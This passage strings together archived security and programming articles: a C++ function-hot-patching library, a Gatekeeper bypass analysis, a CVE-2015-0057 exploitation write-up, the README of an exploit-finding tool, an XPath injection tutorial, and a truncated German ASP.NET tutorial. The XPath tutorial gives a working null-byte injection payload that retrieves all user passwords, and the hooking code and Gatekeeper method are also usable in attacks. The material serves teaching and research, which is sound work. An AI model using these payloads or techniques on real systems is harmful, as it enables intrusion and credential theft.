                        static_cast<DWORD>(_PATCH_LENGTH32));
                }
                _detoured = true;
            }
     
            // function_impl<FType>::RemovePatch() undoes what ApplyPatch() did. pFun (see operator=(FType *)) will be its old self again.
            void RemovePatch()
            {
                // plain old for is faster; DO NOT call any library functions!
                for (SIZE_T i = 0; i < (_64bit ? _PATCH_LENGTH64 : _PATCH_LENGTH32); ++i)
                    *(reinterpret_cast<PBYTE>(_pFun) + i) = *(_backup + i);
                _detoured = false;
            }
     
        protected:
            FType *_pFun;
            FType *_pPatch;
     
            bool _64bit;
            bool _detoured;
            BYTE _backup[13];
            DWORD _oldProtection;
     
            static const BYTE _OP_JMP32    = 0xE9;
            static const WORD _OP_JMP64    = 0xFF41;
            static const BYTE _OP_MOVABS = 0x49;
            static const BYTE _R11_WRITE = 0xBB;
            static const BYTE _R11_JMP = 0xE3;
     
            static const SIZE_T _PATCH_LENGTH32 = 5;    // jmp, detourProc - originalProc = 1 + 4
            static const SIZE_T _PATCH_LENGTH64 = 13;    // movabs, R11, detourProc (64 bit), jmp (abs, 64), R11 = 1 + 1 + 8 + 2 + 1
     
            template <typename T>
            static T abs(T val)
            {
                return val > 0 ? val : -val;
            }
     
            void _RestoreProtection()
            {
                if (NULL == _pFun) return;
                DWORD unusedOldProtection;
                BOOL res = VirtualProtect(_pFun, _64bit ? _PATCH_LENGTH64 : _PATCH_LENGTH32, _oldProtection, &unusedOldProtection);
                (void) res; // nothing to do
            }
     
            template <typename FType>
            class _NativeCallGuard {
            public:
                _NativeCallGuard(function_impl<FType> &fun) : _fun(fun) {
                    _fun.RemovePatch();
                }
     
                ~_NativeCallGuard() {
                    _fun.ApplyPatch();
                }
     
            private:
                function_impl<FType> &_fun;
            };
        };
     
        template <typename>
        class function;
     
    #define HP_TARG0
    #define HP_TARG1 , typename Arg1
    #define HP_TARG2 HP_TARG1, typename Arg2
    #define HP_TARG3 HP_TARG2, typename Arg3
    #define HP_TARG4 HP_TARG3, typename Arg4
    #define HP_TARG5 HP_TARG4, typename Arg5
    #define HP_TARG6 HP_TARG5, typename Arg6
    #define HP_TARG7 HP_TARG6, typename Arg7
    #define HP_TARG8 HP_TARG7, typename Arg8
    #define HP_TARG9 HP_TARG8, typename Arg9
    #define HP_TARG10 HP_TARG9, typename Arg10
    #define HP_FARG0
    #define HP_FARG1 Arg1
    #define HP_FARG2 HP_FARG1, Arg2
    #define HP_FARG3 HP_FARG2, Arg3
    #define HP_FARG4 HP_FARG3, Arg4
    #define HP_FARG5 HP_FARG4, Arg5
    #define HP_FARG6 HP_FARG5, Arg6
    #define HP_FARG7 HP_FARG6, Arg7
    #define HP_FARG8 HP_FARG7, Arg8
    #define HP_FARG9 HP_FARG8, Arg9
    #define HP_FARG10 HP_FARG9, Arg10
    #define HP_ARG0
    #define HP_ARG1 arg1
    #define HP_ARG2 HP_ARG1, arg2
    #define HP_ARG3 HP_ARG2, arg3
    #define HP_ARG4 HP_ARG3, arg4
    #define HP_ARG5 HP_ARG4, arg5
    #define HP_ARG6 HP_ARG5, arg6
    #define HP_ARG7 HP_ARG6, arg7
    #define HP_ARG8 HP_ARG7, arg8
    #define HP_ARG9 HP_ARG8, arg9
    #define HP_ARG10 HP_ARG9, arg10
    #define HP_ARG_DECL0
    #define HP_ARG_DECL1 Arg1 arg1
    #define HP_ARG_DECL2 HP_ARG_DECL1, Arg2 arg2
    #define HP_ARG_DECL3 HP_ARG_DECL2, Arg3 arg3
    #define HP_ARG_DECL4 HP_ARG_DECL3, Arg4 arg4
    #define HP_ARG_DECL5 HP_ARG_DECL4, Arg5 arg5
    #define HP_ARG_DECL6 HP_ARG_DECL5, Arg6 arg6
    #define HP_ARG_DECL7 HP_ARG_DECL6, Arg7 arg7
    #define HP_ARG_DECL8 HP_ARG_DECL7, Arg8 arg8
    #define HP_ARG_DECL9 HP_ARG_DECL8, Arg9 arg9
    #define HP_ARG_DECL10 HP_ARG_DECL9, Arg10 arg10
     
    // template partial specialization for function<return_type([arg_types])>
    #define HP_RET_FUNCTION(n, callconv)\
        template <typename _Ret HP_TARG##n>\
        class function<_Ret callconv(HP_FARG##n)> : public function_impl<_Ret callconv(HP_FARG##n)>\
        {\
        private:\
            typedef _Ret callconv type(HP_FARG##n);\
            \
        public:\
            ~function<type>()\
            {\
                _RestoreProtection();\
            }\
            \
            using function_impl<type>::operator=;\
            \
            _Ret operator()(HP_ARG_DECL##n)\
            {\
                _NativeCallGuard<type> CallGuard(*this);\
                return (*_pFun)(HP_ARG##n);\
            }\
            \
        protected:\
            using function_impl<type>::_pFun;\
        }
     
        // declare the 11 templates handling functions in the form:
        // _Ret function()
        // _Ret function(Arg1)
        // _Ret function(Arg1, Arg2)
        // ...
        // _Ret function(Arg1, Arg2, ... Arg10)
        HP_RET_FUNCTION(0, __cdecl);
        HP_RET_FUNCTION(1, __cdecl);
        HP_RET_FUNCTION(2, __cdecl);
        HP_RET_FUNCTION(3, __cdecl);
        HP_RET_FUNCTION(4, __cdecl);
        HP_RET_FUNCTION(5, __cdecl);
        HP_RET_FUNCTION(6, __cdecl);
        HP_RET_FUNCTION(7, __cdecl);
        HP_RET_FUNCTION(8, __cdecl);
        HP_RET_FUNCTION(9, __cdecl);
        HP_RET_FUNCTION(10, __cdecl);
     
    #ifndef _M_X64
        HP_RET_FUNCTION(0, __stdcall);
        HP_RET_FUNCTION(1, __stdcall);
        HP_RET_FUNCTION(2, __stdcall);
        HP_RET_FUNCTION(3, __stdcall);
        HP_RET_FUNCTION(4, __stdcall);
        HP_RET_FUNCTION(5, __stdcall);
        HP_RET_FUNCTION(6, __stdcall);
        HP_RET_FUNCTION(7, __stdcall);
        HP_RET_FUNCTION(8, __stdcall);
        HP_RET_FUNCTION(9, __stdcall);
        HP_RET_FUNCTION(10, __stdcall);
    #endif
    } // namespace HotPatch
[/code]

What I'm doing above, is generating 11 partial tempate specializations for
class `HotPatch::function`. The class is inspired by C++2011's
`std::function`. It's a class that models functions with up to 10 \(included\)
arguments - you can see the declarations through the `HP_RET_FUNCTION` macro
calls in there. Then, another set of 11 declarations for x86-64 where only
calling convention `__cdecl` exists. **Do not** worry abut understanding the
above code; it's ugly and it sucks. Focus on the usage instead, it gets things
done \(for up to 10 arguments that is\).

To use this `HotPatch` mini-lib, write something like:

HotPatchTest.cpp

    
[code]

    #include <cstdio>
    #include "HotPatch.hpp"
    using namespace std;
    using namespace HotPatch;
     
    function<void()> fooPatch;
     
    void foo()
    {
        printf("In foo()\n");
    }
     
    void bar()
    {
        printf("I'm hackin ur function\n");
        if (fooPatch.IsPatched())
            fooPatch();
    }
     
    int main()
    {
        void (*pfoo)() = foo;
        void (*pbar)() = bar;
     
        pfoo(); // calls foo()
        pbar(); // calls bar()
     
        fooPatch = foo;
        fooPatch.SetPatch(bar);
        fooPatch.ApplyPatch();
     
        pfoo(); // calls bar()
        pbar(); // calls bar()
     
        fooPatch.RemovePatch();
     
        pfoo(); // calls foo()
        pbar(); // calls bar()
        return 0;
    }
[/code]

# Further Info and Support

I'm usually idling under the handle `foxx1337` on irc.freenode.net on
\#rosedu.  

1\) http://www.kernel.org/doc/man-pages/online/pages/man8/ld-linux.so.8.html
LD\_PRELOAD

2\) http://support.microsoft.com/kb/197571 AppInit\_DLLs registry hack

3\) http://yosefk.com/c++fqa/function.html

4\) Fraps

5\) RivaTuner

6\) MSI Afterburner

7\) Sockscap

8\) foobar2000

9\) AutoHotkey

10\) Code Project Article on Code Injection

11\) Media Player Classic Homecinema

12\) http://continuations.wordpress.com/2011/05/10/hot-patching-unconditional-
jumps-x86-x86-64/ Article on 64 bit hot patching

# Gatekeeper on Mac OS X 10.9 Mavericks | Security Intelligence Blog | Trend Micro
**Created:**| _10/24/2013 1:37:39 PM_  
---|---  
**Updated:**| _10/24/2013 1:37:39 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis Mac-hacking_  
  

# **G** atekeeper on Mac OS X 10.9 Mavericks****

Published on October 23rd, 2013

Written by: Lawrence Lin \(Targeted Attacks Analyst\)

One of the Mac OS X platform’s security features is Gatekeeper, which was
first introduced in 2012 and works with Lion, Mountain Lion, and
Mavericks**.** If a program is downloaded from the Internet and launched,
Gatekeeper will first validate its digital signature and choose whether to let
it run based on the user’s settings**.** How has this changed in Mavericks?

First, a background on how exactly Gatekeeper works**.** The user can allow
only applications from the Mac App Store to be run, allow all applications, or
applications from the Mac App Store  _and_ those with a valid digital
signature, which means it comes from an Apple-certified developer**.** This
last setting is the default in Mountain Lion.

How does Gatekeeper know which files to check**?** It is designed to only
operate on files that have the extension attribute of _quarantine_**.** When a
file is downloaded, the downloading application \(usually the browser\) marks
the program’s extension attribute of _quarantine_**.** The origin of the
program and time when it was downloaded are also kept in the extension
attributes:

<img src='img/Temp2_3445.png' />

_Figure 1**.** Extension attributes of a downloaded archive_

Even if the application is stored in an archive or disk image, the
_quarantine_ attribute is copied over from the original archive or image**.**
The attribute also contains a UUID which can be used by OS X to trace it to
the source file, and provide information to the user**.**

<img src='img/Temp2_3443.png' />

_Figure 2**.** Extracted file’s inherited attributes_

When the user attempts to run an application that does not satisfy
Gatekeeper’s settings, it displays an alert as seen below**.** On previous
versions, the alert shows the current Gatekeeper setting; on Mavericks this is
not shown**.**

<img src='img/Temp2_3446.png' />

_Figure 3**.** New and old warning dialogs_

If the user wants to run an application blocked by Gatekeeper, they have
several options**.** Gatekeeper could, in effect, be turned off by letting it
run all applications**.** A power user may opt to remove the  _quarantine_
attribute or use the  _spctl_ command to add a new policy in the security
assessment policy subsystem**.**

<img src='img/Temp2_3444.png' />

_Figure 4**.** Using the “spctl” command to change policies_

Mavericks provides a new option**.** In the  _Security & Privacy_ panel of
_System Preferences_ , a new option is provided to the user – they can opt to
force-launch the last blocked app**.** Unlike removing the extension attribute
or adding a new assessment policy, this is a more user-friendly way to allow
the execution of a single unsigned program**.**

<img src='img/Temp2_3442.png' />

_Figure 5**.** New Mavericks dialog box_

The first part of the semicolon-separated _quarantine_ value represents where
the file came from**.** As earlier, Safari downloaded the test program and set
the value to 0002**.** If the user uses the “Open Anyway” option above, this
value is modified \(the third digit is set to 6\)**.** Whatever the previous
value is, if the third digit is 6, Gatekeeper will let the application
run**.**

However, this  _quarantine_ attribute can also be kept**.** If the file is
transferred to another Mac \(if copied using a compatible file system\), this
setting will  _also_ be honored by this other device**.**

<img src='img/Temp2_3445.png' />

_Figure 6**.** Quarantine value of allowed program_

This highlights a way for an attack to bypass Gatekeeper**.** If one user
allows the execution of an unsigned program on their Mac, the file can be
spread to other Macs via ways that keep this attribute \(such as shared
folders and USB flash disks\)**.** On these other systems, the program can be
launched without any warning messages**.**

<img src='img/Temp2_3441.png' />

_Figure 7**.** Gatekeeper allowing an application to run_

To summarize: Mavericks provides users an easier way to create exceptions to
Gatekeeper and allow unsigned programs to run**.** However, this was done in
such a way that could put other users at risk**.** It would have been better
for Apple to implement this in such a way to keep the exception from being
enforced elsewhere; if I want to put myself at risk I shouldn’t be allowed to
put other Macs at risk**.**

****

# One-Bit To Rule Them All: Bypassing Windows’ 10 Protections using a Single
Bit - Breaking Malware

**Created:**| _2/12/2015 10:31:50 AM_  
---|---  
**Updated:**| _2/12/2015 10:31:50 AM_  
**Author:**| __  
**Tags:**| __  
  

# One-Bit To Rule Them All: Bypassing Windows’ 10 Protections using a Single
Bit

### _**Introduction**_

Today, Microsoft released their latest Patch Tuesday. This Patch includes a
fix for vulnerability CVE-2015-0057, an IMPORTANT-rated exploitable
vulnerability which we responsibly disclosed to Microsoft a few months ago.  
As part of our research, we revealed this privilege escalation vulnerability
which, if exploited, enables a threat actor to complete control of a Windows
machine. In other words, a threat actor that gains access to a Windows machine
\(say, through a phishing campaign\) can exploit this vulnerability to bypass
all Windows security measures, defeating mitigation measures such as
sandboxing, kernel segregation and memory randomization.  
Interestingly, the exploit requires modifying only a single bit of the Windows
operating system.  
We have verified this exploit against all supported Windows desktop versions,
including Windows 10 Technical Preview.

This entry starts by detailing the vulnerability. At first, it seemed to us
impossible to exploit. After some hard word, however, we managed to produce a
fully working exploit which we’ll describe. As part of this analysis, we also
present a video which demonstrates the exploit. Finally, we conclude this
entry with a buggy dead-code anecdote which we thought interesting to share.  
Responsible disclosure: although this blog entry is technical, we won’t reveal
any code, or the complete details, to prevent any tech master from being able
to reproduce an exploit.

### **_Background_**

Over the last several years, privilege escalation vulnerabilities became all
the more crucial for exploitation because they enable malicious code to run on
the kernel. As such, a threat actor exploiting a privileged escalation
vulnerability can bypass protective security mechanisms such as application
sandboxes.  
Step by step with the attackers’ progress, Microsoft made extensive efforts to
protect the kernel. The reasoning is that even if a vulnerability exists,
exploiting it would be difficult, if not impossible.  
For example, here are just a few of the kernel protection mechanisms that are
present in Windows 8.1:Kernel DEP – Ensures that most kernel data regions
cannot be executed

• **Kernel DEP** – Ensures that most kernel data regions cannot be executed  
• **KASLR** – Randomizes the kernel address-space to avoid figuring out where
kernel modules exist  
• **Integrity Level** – Limits the ability of an unprivileged application to
leak kernel-related information  
• **Mitigation Of Common Attack Vectors** – Hardens commonly abused structures
\(such as the Win32k wnd proc field\)  
• **SMEP** – Prevents execution control transfers between kernel mode to user-
mode  
• **NULL Dereference Protection** – Prohibits mapping of the first 64k of data
in user-mode

Albeit these hardening mechanisms, in the past year we have seen some notable
presentations that demonstrated techniques to bypass these protections.  
The vulnerability which we describe in this entry, is a newly disclosed
privilege escalation exploitable vulnerability that too bypasses these
protections.

### **_The Vulnerability: a hole in the Win32k.sys module_**

This particular vulnerability appears in the GUI component of Microsoft
Windows Kernel, namely, the Win32k.sys module.  
This entry assumes a strong technical understanding of the Win32k.sys module.
For detailed information on this module, please refer to Tajei Mandt, Gilad
Bakas and Gil Dabah.

#### **_Zooming into Window Scrollbars_**

The Win32k module manages also the actual windows’ scrollbars. These
scrollbars – whether horizontal or vertical – are set for each window.  
Let’s zoom into these scrollbars:

<img src='img/Temp2_5809.jpg' alt='fig1' />

As can be seen in Figure 1, each SBDATA structure defines the information
regarding one of the scrollbars.  
The WSBflags is a bitmask that determines the state of the scrollbars.  
In order to enable and disable a window scrollbar, the function
xxxEnableWndSBArrows is used. Through a single call, this function can alter
the state of both scrollbars.  
It is precisely within this function wherein the vulnerability lies.

#### _**Deep Diving into xxxEnableWndSBArrows**_

The prototype of xxxEnableWndSBArrows is:

• **Wnd** – A pointer to the relevant window  
• **wSBflags** – The scrollbar type \(e.g. horizontal or vertical\)  
• **wArrows** – Specifies whether the scrollbar’s arrows are enabled or
disabled and indicates which arrows are enabled or disabled.

In order to describe the vulnerability, we’ll take a look at the first part of
the xxxEnableWndSBArrows function which can be broken down into 3 logical
parts:

#### _**Part 1 – Allocation of a new scrollbar \(if needed\)**_

The function starts by checking whether there is already scrollbar information
for that window and allocates a new scrollbar information struct, if needed.

Technically speaking, the function reads the pSBInfo field \(to recall, this
field points to the tagSBINFO struct\) and tests if the pointer is NULL. If
the field is null and the wArrows parameter is not NULL, then a tagSBINFO
struct is allocated for the window and the old flags of the scrollbars are set
to 0. Otherwise the old flags are copied from the existing window’s scrollbars
information. The code can be found in Figure 2.

<img src='img/Temp2_5810.jpg' alt='fig22' />

#### _**Part 2 – Setting the state of the horizontal scrollbar**_

The flow continues by testing whether the state of horizontal scrollbar should
be changed.

According to what was set in the wArrows argument, the function enables or
disables the arrows \(figure 3\).

<img src='img/Temp2_5811.jpg' alt='fig3' />

#### _**Part 3 – Testing the state of the scrollbar arrows**_

The flow continues by checking whether the state of the arrows have changed.

Technically speaking, this is done by checking the arrow’s flags \(to note,
there are a few more flag checks – but those are not interesting for our
purpose\). If the flags have changed and the window is visible then
xxxDrawScrollbar is called.

This is precisely the place where things get interesting.

When digging into the code, it seems possible that the xxxDrawScrollBar will
lead to a user–mode callback \(Figure 4\).

<img src='img/Temp2_5807.jpg' alt='fig4' />

The pivotal function in this call chain is the ClientLoadLibrary. This
function performs the callback to the user-mode function
\_\_ClientLoadLibrary.

Let’s return now to the code of xxxEnableWndSBArrows.

Our examination showed that the tagSBINFO pointer is used without any
verification after the callback. Ultimately, this could lead to a Use-After-
Free \(UAF\) vulnerability since the function may continue to work with the
freed scrollbar information \(Figure 5\).

<img src='img/Temp2_5814.jpg' alt='fig5' />

#### _**The Exploitation: manipulating windows properties**_

After the callback, the function xxxEnableWndSBArrows continues and changes
the state of the vertical scrollbar.  
At this stage, the function tries to enable or disable the flags. However,
since the struct is already freed, we can use this to either Bitwise OR the
first DWORD of the freed buffer with 0xC \(if we disable the arrows\) or to
clear bit 3 and 4 \(if we enable the arrows\). See figure 6.

<img src='img/Temp2_5808.jpg' alt='fig6' />

For simplicity sake, we show how to manipulate 2 bits in order to “rule them
all”. However, manipulating only one of them would be enough.  
The bit manipulation at first didn’t seem enough to result in anything
significant, but we decided to keep trying. The most obvious things to try
were to either increase the size of some buffer \(using the bitwise OR\) or
decrease some reference counter \(using the bitwise AND\).  
After a short search we found an object that met the first requirement. This
object is the properties list of a window.

#### _**The Window Properties List**_

Each window has a properties list. Generally, these properties can be used by
the GUI application to store arbitrary values, though also Win32K uses this
properties list in order to store internal data.

<img src='img/Temp2_5812.jpg' alt='fig7' />

The data structures used to hold the window’s properties can be seen in Figure
7. The first field, cEntries, is the number of entries in the properties
array; iFirstFree is the index to the first free cell in the properties array;
and props is the array itself.  
An application can set the window’s properties using the SetProp API. The
prototype of the function is as follows:

<img src='img/Temp2_5813.jpg' width='640' height='39' alt='fig8' />

• **hWnd** – The handle to the window.  
• **lpString** – The of the property or an ATOM.  
• **hData** – The data to store.

Adding properties to a window is performed through the CreateProp function,
appearing in the win32k module.  
As can be seen in figure 8 its allocation algorithm is quite simple. If there
is no room for a new property in the list, the function allocates a new
properties list with one more entry. The function then proceeds to copy the
buffer of the old properties to the new one, frees the old buffer and
increases the entries count.

<img src='img/Temp2_5806.jpg' alt='fig88' />

There are several important things to note in this code:  
First, the properties are allocated from the Desktop heap \(Uses
DesktopAlloc\). Also, tagSBINFO is allocated from this heap. This is crucial
if we want to use the UAF vulnerability to alter the properties structure.  
Second, each new entry triggers the reallocation of the buffer. This means
that we can easily trigger the reallocation of the buffer when it’s about to
reach the size of the tagSBINFO structure. Doing this increases the chances
that the buffer will be allocated over the freed tagSBINFO struct.

Third, and most importantly, the cEntries field is located in the first DWORD
of the struct. This means that we can increase its size \(using the bitwise
Or\). After increasing the size of the properties array we basically achieved
a classical buffer-overflow.

#### _**Proof-of-Concept Video**_

The above research led to the privilege escalation exploitation. We stop here,
however, to avoid releasing any sensitive code.  
Our demo on a 64-bit Windows 10 Technical Preview provides the necessary
proof-of-concept:

#### _**Summary**_

After some work we managed to create a reliable exploit for all versions of
Windows – dating back as of Windows XP to Windows 10 preview \(With SMEP and
protections turned on\). We have shown that even a minor bug can be used to
gain complete control over any Windows Operating System.  
Nevertheless, we think that Microsoft efforts to make the its operating system
more secure raised the bar significantly and made writing reliable exploits
far harder than before.  
Unfortunately, these measures are not going to keep attackers at bay. We
predict that attackers will continue incorporating exploits into their crime
kits, making compromise inevitable.

#### _**Last side note: funny code**_

Examining the code of the xxxEnableWndSBArrows function showed that there are
calls to the xxxWindowEvent function.  
At first glance it seemed that these two functions would be far easier to use
as an exploitation stepping stone than the xxxDrawScrollbar function, as
detailed above.  
However, after diving into the code it quickly became clear that the calls to
xxxWindowEvent in the Horizontal scrollbar part of the code are actually dead-
code \(Figure 9\).

<img src='img/Temp2_5815.jpg' alt='fig9' />

Looking at the code, there are two conditional calls to the function,
xxxWindowEvent. These calls are executed only if the old flags of the
scrollbar information differ from those of the new flags. However, by the time
these conditions appear, the values of the old flags and the new flags are
always equal. Hence, the condition for calling xxxWindowEvent is never met.
This practically means that this dead-code was there for about 15-years doing
absolutely nothing.

# neuromancer/SEA

**Created:**| _12/3/2013 8:55:53 AM_  
---|---  
**Updated:**| _12/3/2013 8:55:53 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification Exploit symbolic exec_  
  

# **n** euromancer/SEA****

README**.** md

"Symbolic Exploit Assistant" \( **SEA** \) is a small tool designed to assist
the discovery and construction of exploits in binary programs. SEA is free
software \(GPL3\) and includes a minimal toolkit \(BSD\) to quickly develop
binary analysis tools in Python**.** This project is developed in
collaboration between the research institutes CIFASIS  \(Rosario, Argentina\)
and VERIMAG  \(Grenoble, France\) in an effort to improve security in binary
programs.

###  Using SEA****

We can use SEA to deduce exploitability conditions of binary programs without
executing code**.** For example, if we have the following assembly code
\(expressed in a simple intermediate language\):

[code]

    1: call
    2: t0 := eax xor 42
    3: eax := t0
    4: ebx := eax + t0
    5: if not (t0 == 0) then jump ebx
    
[/code]

SEA allows us to enforce this particular sequence of instructions in order to
jump to address **0xdeadc0de****.** The tool will track and propagate
backwards all the constraints required**.** In this case, SEA detects the
**EAX** register as the only free operand and returns its initial condition:

[code]

    eax := 0x6f56e06f
    
[/code]

SEA also performs pointer detection \(stack, heap and globals\) in traces**.**
These pointers can be used to enforce particular memory conditions, even if
they require to overflow buffers**.** The current implementation can be used
to "solve", some of the examples of Gera's Insecure Programming :

  * The first example of simple buffer overflow on stack :
    * Compiled with gcc 4**.** 8.0 \(default parameters\). The complete analysis is here . The tool found it solvable if the user inputs data using standard input**.**
    * Compiled with Visual Studio 2005 \(default parameters\), The complete analysis is here **.** The tool founds it is solvable if the user controls the initial value of a local variable \(which is usually not possible\)
  * The third example of advanced buffer overflow :
    * Compiled with gcc 4**.** 8.0 \(default parameters\), The tool founds it is solvable if the user inputs data using command line arguments \(allowing to execute a call to system\)**.**

Documentation, examples and the complete list of features can be found in the
wiki **.** The issue tracker  is available. Discussion for support or
collaboration is available in \#sea-tool @ irc.freenode.net

###  Quick Start****

To get started, you should have **Python 2**.** 7**. To prepare the tool, the
official Z3 Python binding \(z3py \) should be installed**.** Fortunately,
just executing **boostrap.sh** will download and compile z3py. After it
finishes compiling, SEA is ready to be used**.**

**NOTE** : Right now, SEA uses REIL code as input, to analyze a path**.**
Unfortunately, REIL can be **only** generated from an executable file using
BinNavi  which runs in the top of IDA-Pro  \(two proprietary and expensive
programs\) Hopefully, this will change soon when SEA supports open frameworks
for binary analysis like Bincoa or BAP**.**

****

# On Null Byte Poisoning and XPath Injection - SpiderLabs Anterior

**Created:**| _1/31/2012 7:25:37 PM_  
---|---  
**Updated:**| _1/31/2012 7:25:49 PM_  
**Author:**| __  
**Tags:**| _web-app-sec security tools pentest xml_  
  

### On Null Byte Poisoning and XPath Injection

Recently I released a tool called XMLmao, a configurable testbed for learning
to exploit XPath injection flaws, developing new attack techniques for XPath
injection flaws or simulating real-world XPath injection scenarios, similar to
SQLol. Among other features, it has challenge scenarios which give you a set
of pre-configured options and an objective to complete. As of recently, I've
begun to write tutorials for each challenge which will be distributed with
their respective testbeds.

Since creating XMLmao, I've already begun to discover interesting approaches
to different XPath injection scenarios. This wasn't hard, it was a matter of
applying existing attacks applicable to other web application flaws to XPath
injection. One example is the application of the Poison Null Byte attack to
XPath.

Here's the tutorial for challenge 5, which expects you to use a null byte to
complete the challenge:

> Challenge 5 - Pipe Dream
> =====================
> In this challenge, we must retrieve passwords for all the users in our
> database without using the pipe character. Our initial query looks like
> this:
>  
> _/xmlfile/users/user\[username=' OUR\_INPUT\_HERE'\]/username_
>  
> It has been said that it is not possible to comment out the end of XPath
> queries as is done with SQL injection attacks. While this is true, we do
> have an option for truncating an XPath query prematurely: The Poison Null
> Byte.
>  
> C-based languages use the null byte as a string terminator and will stop
> reading any string given to it when reaching a null byte. Since libxml is
> written in a C-based language, the XPath query given to it by our PHP script
> \(which actually reads the whole string\) will be truncated if a null byte
> is present. The URL-encoded version of a null byte is "%00".
> As we control the portion of the query which comes before the field in the
> user object is selected, we can truncate the portion of the query which
> specifies that only the username is to be returned. We can do this by
> closing the condition and truncating the rest with a null byte. The final
> query will look like this to PHP:
>  
> _/xmlfile/users/user\[username=' '\]%00/username_
>  
> And libxml will read it as:
>  
> _/xmlfile/users/user\[username=' '\]_
>  
> Our only problem is that this only returns the password for any user with a
> blank username, which is unlikely to return any data. As such, we can use
> our condition nullifying trick from Challenge 0 in tandem with the null byte
> to pull all data for all users, which includes password data. The final
> query looks like this:
>  
> _/xmlfile/users/user\[username=' ' or '1'='1'\]%00'\]/username_
>  
> Which is read by libxml as the following:
>  
> _/xmlfile/users/user\[username=' ' or '1'='1'\]_
>  
> This returns us the entire set of user data, without using the pipe
> character. So, one correct answer to Challenge 5 is:
> _' or '1'='1'\]%00_
To try out this attack and more, go get XMLmao.

# Von der Datenbank bis zur Oberfläche mit .NET, Teil 3: Eine Weboberfläche mit ASP.NET | heise Developer
**Created:**| _4/20/2012 7:09:57 PM_  
---|---  
**Updated:**| _4/20/2012 7:09:57 PM_  
**Author:**| __  
**Tags:**| _web .Net Tutorials asp.net_  
  

**Know-how** 17.04.2012 - 07:52

Schlagwörter: .Net

#### Holger Schwichtenberg

# Von der Datenbank bis zur Oberfläche mit .NET, Teil 3: Eine Weboberfläche
mit ASP.NET

### Abgehoben

** <img src='img/Temp2_9009.jpg' width='192' height='200' /> In den ersten
beiden Teilen des Tutorials entstanden Datenbank sowie Datenzugriffs-,
Geschäftslogik- und Webserviceschicht. Die Webservices soll nun nicht nur –
wie bisher – eine Konsolen-, sondern auch eine HTML-Weboberfläche konsumieren
können.**

****

****

Die Technik zum Erstellen von Webanwendungen mit dem .NET Framework heißt
ASP.NET, wobei sie inzwischen nicht mehr nur als eine einzige Bibliothek
anzusehen ist, da es mehrere Varianten von ASP.NET gibt. Im Rahmen des
Tutorials sollen die sogenannten ASP.NET Webforms zum Einsatz kommen. Webforms
sind der ursprüngliche und bislang deutlich verbreitetere Ansatz im Vergleich
mit den neueren ASP.NET MVC, ASP.NET Dynamic Data und ASP.NET Webpages \(vgl.
Statistiken\).

#### Von der Datenbank bis zur Oberfläche mit .NET

  * Teil 1: Datenzugriff und Logik
  * Teil 2: Application Server und Webservices
  * **Teil 3: Webanwendung mit ASP.NET**
  * Teil 4: Desktop-Anwendung mit WPF 
  * Teil 5: Desktop- und Browseranwendung mit Silverlight

Um das Beispiel mitzuprogrammieren, benötigt der Entwickler Grundkenntnisse in
der C\#-Syntax und der Handhabung von Visual Studio 2010. Das Tutorial
verwendet die englische Version von Visual Studio, weil es in der deutschen
Ausgabe einen Fehler gibt, durch den sich das Beispiel nicht ohne viel
manuelle Arbeit zum Laufen bringen lässt.

Selbst innerhalb der Webforms gibt es mehrere Wege zum Ziel, und das fällt schon beim Anlegen eines neuen Projekts auf: Der Entwickler hat die Wahl zwischen einer "Web Application" und einer "Website". Das zweite ist das neuere, hier verwendete Modell. Man erstelle eine Website aber nicht über Add | New Project, sondern über Add | New Website. Hierbei ist darauf zu achten, dass der Pfad im Dialog so gewählt wird, dass die Website-Dateien dann im gleichen Ordner wie die anderen Projekte der Projektmappe liegen. Websites haben anders als andere Visual-Studio-Projekte keine _.csproj_ -Datei.
Die Website benötigt Referenzen auf die Webprojekte _WWWings\_ServiceProxies_
und _WWWings\_GO_ sowie die Systembibliothek _System.ServiceModel_. Außerdem
muss der Entwickler die Dienst-Clientkonfiguration für die Webservices in die
Website übernehmen. Dafür kopiert er das Element _< system.serviceModel>_ aus
der _WWWings\_ServiceProxies/app.config_ in die _WWWings\_Web/web.config_
-Datei. Wichtig ist, dass _< system.serviceModel>_ direkt ein Unterelement von
_< configuration>_ sein muss. Aufzupassen ist darauf, dass man _<
system.serviceModel>_ nicht versehentlich in das vorhandene _<
system.web>_-Element verschachtelt.

<img src='img/Temp2_9010.jpg' width='400' height='339' />  
Zielarchitektur für diesen Teil des Tutorials \(Abb. 1\) <img
src='img/Temp2_9011.jpg' width='16' height='16' alt='Vergrößern' />

### Vorlagenseite

Für eine einheitliche Seitenstruktur über mehrere Seiten hinweg legt der
Entwickler am besten zuerst eine Vorlagenseite an, indem er in der Website
unter Add new Item die Vorlage "Master Page" wählt. Als Name sei hier
_WWWings.master_ vergeben. Eine _.master_ \- enthält die Grundstruktur einer
HTML-Seite mit den Tags _< html>_, _< head>_ und _< body>_. In den beiden
ersten ist jeweils ein Platzhalter \(_< asp: ContentPlaceHolder>_\)
eingebettet, der die von der Vorlagenseite abgeleiteten Seiten mit Inhalten
befüllen kann. Listing 1 zeigt den möglichen Inhalt von _WWWings.master_. Es
bindet eine Stylesheet- \(_wwwings.css_\) und eine Grafikdatei
\(_WWWingsLogo.jpg_\) ein, deren Inhalt aber für die weitere Betrachtung
nebensächlich ist. Die Dateien sind hier nicht wiedergegeben, aber natürlich
via Download enthalten. Einen Platzhalter im Header benötigt man nicht;
stattdessen gibt es einen Platzhalter für die Überschrift der Seite
\(_C\_Ueberschrift_\) und einen für den Inhalt \(_C\_Inhalt_\). Die
Vorlagenseite _WWWings.master_ verfügt auch über eine sogenannte Code-Behind-
Datei \(_WWWings.master.cs_\). Diese ist aber nicht anzupassen, da im
vorliegenden Fall die Vorlagenseite keinen Programmcode benötigt.

### Buchungsmaske

<img src='img/Temp2_9008.jpg' width='400' height='338' />  
Die ASP.NET-Buchungsmaske in Aktion \(Abb. 2\) <img src='img/Temp2_9011.jpg'
width='16' height='16' alt='Vergrößern' />

Abbildung 2 zeigt den Aufbau der Buchungsmaske. Es gibt drei Rahmen: den
oberen für den Flug, den mittleren für den Passagier und den unteren für die
Buchung. Für die Buchungsmaske legt der Entwickler eine Detailseite mit Namen
_Buchung.aspx_ an. Dazu wählt er Add new item und Web Form, wobei das Häkchen
"Select master page" zu aktivieren ist. Dadurch kann er im nächsten Schritt
_WWWings.master_ als Vorlagenseite wählen. Der folgende Code zeigt die
allgemeine Grundstruktur der Detailseite mit zwei Inhaltselementen
entsprechend den Platzhaltern. Die Grundstruktur ist nun mit Inhalten zu
füllen.

[code]

